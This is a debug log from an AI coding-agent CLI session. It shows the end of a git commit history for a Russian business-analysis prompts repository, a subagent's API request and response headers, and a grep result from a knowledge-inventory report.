\u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u043f\u043e \u0442\u0440\u0451\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\\nf5a6f18 2026-08-26 feat(RUN-0058): #329 \u2014 \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru \u043f\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 API\\n31cd275 2026-08-26 feat(RUN-0059): #331 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0441\u043f\u0430\u0439\u043a \u0438 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0434\u0430\u043d\u043d\u044b\u0445 HH.ru \u0427\u0430\u0442\u044b \u2194 \u041a\u0426 Mango\\nb0706ad 2026-08-27 feat(RUN-0060): #333 \u2014 \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 gap-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 L4 \u0441\u043e \u0441\u043d\u043e\u0441\u043a\u0430\u043c\u0438\\n32f4bc2 2026-08-28 feat(RUN-0061): #336 \u2014 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 human review \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 twin \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u0447\u0438 1090\\ncdb8db6 2026-08-28 feat(RUN-0060): #335 \u2014 \u0430\u0443\u0434\u0438\u0442 53 \u0441\u043d\u043e\u0441\u043e\u043a \u043e\u0442\u0447\u0451\u0442\u0430 L4 \u0438 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 human review\\n3f21a08 2026-08-28 docs(analysis): #335 \u2014 \u0430\u043d\u0430\u043b\u0438\u0437 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0441\u0441\u044b\u043b\u043e\u043a \u0434\u043b\u044f human review\\n03a7627 2026-08-28 fix(analysis): #335 \u2014 \u0443\u0447\u0435\u0441\u0442\u044c \u044f\u043a\u043e\u0440\u044f \u043d\u0430 \u0441\u0435\u043a\u0446\u0438\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0442\u0435\u0433\u0430 \u0432 Redoc\\n0e368fe 2026-08-28 feat(RUN-0060): #335 \u2014 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u043e\u0442\u0447\u0451\u0442\u0430 L4\\n1dcca69 2026-08-28 docs: #335 \u2014 ADR-011 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 RFC \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0437\u0430\u0434\u0430\u0447\\n7369989 2026-08-28 feat: #335 \u2014 \u0432\u0435\u0431-\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0447\u0451\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 765 \u0441 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\\nc4902e0 2026-08-31 Revert \\\"[runs] \u041f\u0440\u043e\u0433\u043e\u043d L0: \u041e\u0446\u0435\u043d\u043a\u0430 3 \u043d\u043e\u0432\u044b\u0445 \u0422\u0417 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 RUN-0057 \u0441 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u043a \u0441\u0441\u044b\u043b\u043a\u0430\u043c\\\"\\n3ce63dd 2026-08-31 Auto-commit: Changes made by Claude during problem-solving session\\n8513fca 2026-08-31 feat(runs): add RUN-0062 appendix assessment\\nc9e2184 2026-08-31 test(runs): define RUN-0063 acceptance contract\\ne338549 2026-08-31 feat(runs): add RUN-0063 requirements for BCREQ-1074\\nae81360 2026-08-31 chore: remove issue branch placeholder\\n54cf5df 2026-08-31 feat(runs): add RUN-0064 report view requirements\\n8851b28 2026-08-31 chore: remove issue branch placeholder\\na6a587d 2026-08-31 feat(runs): add task 1099 feasibility audit\\nacb6c7b 2026-09-01 fix(runs): reassess RUN-0062 and RUN-0065\\n3d46f65 2026-09-01 fix(runs): correct LK citation pages\\ne0f4ba5 2026-09-01 feat(runs): RUN-0066 \u2014 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0422\u0417 task-1099 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0439 LLM\\na661e1b 2026-09-01 feat(validation): verify citation pagination\\n08b47e3 2026-09-01 fix(validation): parse nested citation titles\\n00295d5 2026-09-01 docs(report): add RUN-0065 pagination RCA\\n3f5a86a 2026-09-01 chore(evidence): preserve raw trace whitespace\\n267d0ea 2026-09-01 fix(analysis): harden RCA reproducibility\\n381d0a5 2026-09-01 docs(changelog): clarify issue 353 gates\\n80175d8 2026-09-03 fix(validate): compare citation titles through normalize()\\n3c53cbe 2026-09-03 feat(runs): rework BCREQ-1074 requirements as RUN-0067 per issue #355\\ncbc6276 2026-09-03 chore(#357): \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0425\u0430\u0431\u0430\\ncce374d 2026-09-26 test(kb): reproduce incomplete processed KB migration\\nf64672c 2026-09-26 test(kb): validate historical extraction against pinned runtime\\nc6471da 2026-09-26 chore(kb): remove verified local copy and point to runtime\\n46a7ebe 2026-09-28 feat(runs): RUN-0068 L0 feasibility assessment of BCREQ-1114 (#363)\\ndba7b47 2026-09-28 feat(runs): RUN-0069 L0 feasibility assessment of BCREQ-1114v2 (#365)\",\n[2026-09-29T07:45:47.168Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:47.168Z] [INFO]       }\n[2026-09-29T07:45:47.168Z] [INFO]     ]\n[2026-09-29T07:45:47.168Z] [INFO]   },\n[2026-09-29T07:45:47.168Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"uuid\": \"6a0ac563-105e-415a-bea4-d807210292e8\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:47.155Z\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:47.168Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:47.168Z] [INFO] }\n[2026-09-29T07:45:47.212Z] [STDOUT] [log_62fc3f] sending request {\n[2026-09-29T07:45:47.224Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:47.233Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:47.242Z] [STDOUT]   options: {\n[2026-09-29T07:45:47.245Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:47.250Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:47.258Z] [STDOUT]     body: {\n[2026-09-29T07:45:47.260Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:47.262Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:47.265Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:47.268Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:47.271Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:47.274Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:47.276Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:47.281Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:47.285Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:47.289Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:47.294Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:47.300Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:47.304Z] [STDOUT]     },\n[2026-09-29T07:45:47.308Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:47.313Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:47.315Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:47.319Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:47.323Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:47.325Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:47.327Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:47.360Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:47.369Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:47.374Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:47.380Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:47.383Z] [STDOUT]     },\n[2026-09-29T07:45:47.399Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:47.402Z] [STDOUT]   },\n[2026-09-29T07:45:47.423Z] [STDOUT]   headers: {\n[2026-09-29T07:45:47.434Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:47.447Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:47.476Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:47.485Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:47.495Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:47.500Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:47.505Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:47.507Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:47.517Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:47.523Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:47.532Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:47.535Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1391\",\n[2026-09-29T07:45:47.542Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:47.546Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:47.548Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:47.551Z] [STDOUT]     \"x-client-request-id\": \"7b7ed0c2-2f07-4899-8b58-309eb52818a0\",\n[2026-09-29T07:45:47.554Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:47.559Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:47.562Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:47.567Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:47.570Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:47.575Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:47.580Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:47.583Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:47.586Z] [STDOUT]   },\n[2026-09-29T07:45:47.588Z] [STDOUT] }\n[2026-09-29T07:45:48.088Z] [STDOUT] [log_62fc3f, request-id: \"req_011CfXMnQyUFtdGGZnruRBJ5\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 881ms\n[2026-09-29T07:45:48.091Z] [STDOUT] [log_62fc3f] response start {\n[2026-09-29T07:45:48.094Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:48.098Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:48.100Z] [STDOUT]   headers: {\n[2026-09-29T07:45:48.106Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:48.111Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:48.117Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:48.119Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:48.125Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:48.128Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.134Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:48.144Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:48.150Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:48.161Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:48.168Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:48.172Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:48.178Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:48.181Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.185Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:48.190Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:48.192Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:48.200Z] [STDOUT]     \"cf-ray\": \"a4295ece1c044d8b-FRA\",\n[2026-09-29T07:45:48.203Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:48.207Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:48.215Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:48.227Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:48.239Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:48 GMT\",\n[2026-09-29T07:45:48.243Z] [STDOUT]     \"request-id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:48.252Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:48.256Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:48.265Z] [STDOUT]     traceresponse: \"00-a6496799d89091ce27f3d35a8f84aa99-395bf1f30b0e5ee6-01\",\n[2026-09-29T07:45:48.271Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:48.282Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:48.290Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:48.298Z] [STDOUT]   },\n[2026-09-29T07:45:48.304Z] [STDOUT]   durationMs: 881,\n[2026-09-29T07:45:48.308Z] [STDOUT] }\n[2026-09-29T07:45:48.320Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:48.324Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:48 GMT\",\n[2026-09-29T07:45:48.329Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:48.332Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:48.334Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:48.338Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:48.341Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:48.346Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:48.349Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:48.352Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:48.355Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:48.365Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:48.369Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:48.372Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:48.383Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:48.386Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:48.389Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:48.394Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.398Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:48.402Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:48.409Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:48.415Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:48.420Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:48.428Z] [STDOUT]   \"request-id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:48.436Z] [STDOUT]   \"traceresponse\": \"00-a6496799d89091ce27f3d35a8f84aa99-395bf1f30b0e5ee6-01\",\n[2026-09-29T07:45:48.450Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:48.459Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:48.466Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:48.470Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:48.472Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:48.476Z] [STDOUT]   \"cf-ray\": \"a4295ece1c044d8b-FRA\",\n[2026-09-29T07:45:48.480Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:48.485Z] [STDOUT] [log_62fc3f] response parsed {\n[2026-09-29T07:45:48.489Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:48.494Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:48.498Z] [STDOUT]   body: X {\n[2026-09-29T07:45:48.502Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:48.506Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:48.509Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:48.511Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:48.516Z] [STDOUT]     },\n[2026-09-29T07:45:48.522Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:48.526Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:48.530Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:48.534Z] [STDOUT]   },\n[2026-09-29T07:45:48.537Z] [STDOUT]   durationMs: 882,\n[2026-09-29T07:45:48.541Z] [STDOUT] }\n[2026-09-29T07:45:48.545Z] [INFO] {\n[2026-09-29T07:45:48.545Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:48.545Z] [INFO]   \"message\": {\n[2026-09-29T07:45:48.545Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:48.545Z] [INFO]     \"content\": [\n[2026-09-29T07:45:48.545Z] [INFO]       {\n[2026-09-29T07:45:48.545Z] [INFO]         \"tool_use_id\": \"toolu_014Tb7BHBx82fWAbWUnnuumV\",\n[2026-09-29T07:45:48.545Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:48.545Z] [INFO]         \"content\": \"23:# \u0418\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u043d\u0430\u043d\u0438\u0439 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0432\u044f\u0437\u0435\u0439: \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 2026-09-07\\n33:## \u041c\u0435\u0442\u043e\u0434\\n48:## 1. \u0420\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n50:**368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f** \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445.\\n56:| [`clarify-engine-ai`](https://github.com/G-Ivan-A/clarify-engine-ai) | 53 | 14 % | \u0421\u043f\u0438\u0446\u0430: \u0434\u0432\u0438\u0436\u043e\u043a \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 (RAG) |\\n58:## 2. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c\\n63:| Standard | 53 | 26 | 19 | 8 |\\n83:## 3. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0430\u043c\\n88:| \u0431\u0435\u0437 frontmatter | 53 | 14,4 % |\\n96:\u043d\u043e\u0440\u043c\u0430\u00bb (`canonical` + `accepted`), \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 **48 \u0438\u0437 368 \u2014 13 %**. \u0412\u0441\u0435 53\\n102:## 4. BA-\u0441\u043b\u043e\u0439\\n120:| **\u0418\u0442\u043e\u0433\u043e** | **114** |\\n134:\u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0451\u043d \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0432\u0441\u0435\u0445 53 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u2014 \u00a75.3.\\n136:## 5. \u0422\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f\\n141:### 5.1. \u041c\u0435\u0436\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u0430\u0441\u0438\u043c\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u044b\\n162:### 5.3. \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 `clarify-engine-ai`: 0 \u0440\u0451\u0431\u0435\u0440 \u2260 0 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u0438\\n167:\u0447\u0442\u0435\u043d\u0438\u0435\u043c, \u0430 \u043d\u0435 \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u043e\u043c \u0441\u0441\u044b\u043b\u043e\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 53 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b \u0438 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u044b\\n207:### 5.2. \u0426\u0435\u043d\u0442\u0440\u044b \u043f\u0440\u0438\u0442\u044f\u0436\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0441\u0442\u0435\u043f\u0435\u043d\u044c)\\n236:### 5.3. \u0418\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0437\u043b\u044b\\n244:### 5.4. \u041a\u0430\u0440\u0442\u0430 \u0437\u043d\u0430\u043d\u0438\u0439 (\u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f)\\n296:  PARSE -.->|\\\"\u0437\u043d\u0430\u043d\u0438\u0435 \u0435\u0441\u0442\u044c, \u043a\u0430\u043d\u0430\u043b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442(0 \u0440\u0451\u0431\u0435\u0440 \u043a \u0425\u0430\u0431\u0443 \u0438 Mango; 8 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 R1)\\\"| MU\\n308:## 6. \u0427\u0442\u043e \u044d\u0442\u043e\u0442 \u0437\u0430\u043c\u0435\u0440 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n324:## \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n**4.2. \u0422\u0417 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u0445\u043e\u0434 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435.** \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435\\n\u2014 4 \u043a 0. \u041f\u0440\u043e\u0433\u043e\u043d\u044b\\n[`RUN-0055`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0055)\\n\u0438\\n[`RUN-0057`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0057)\\n\u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c **\u0447\u0443\u0436\u043e\u0433\u043e** \u0422\u0417 (\u0442\u0435\u043d\u0434\u0435\u0440\u043d\u0430\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430). 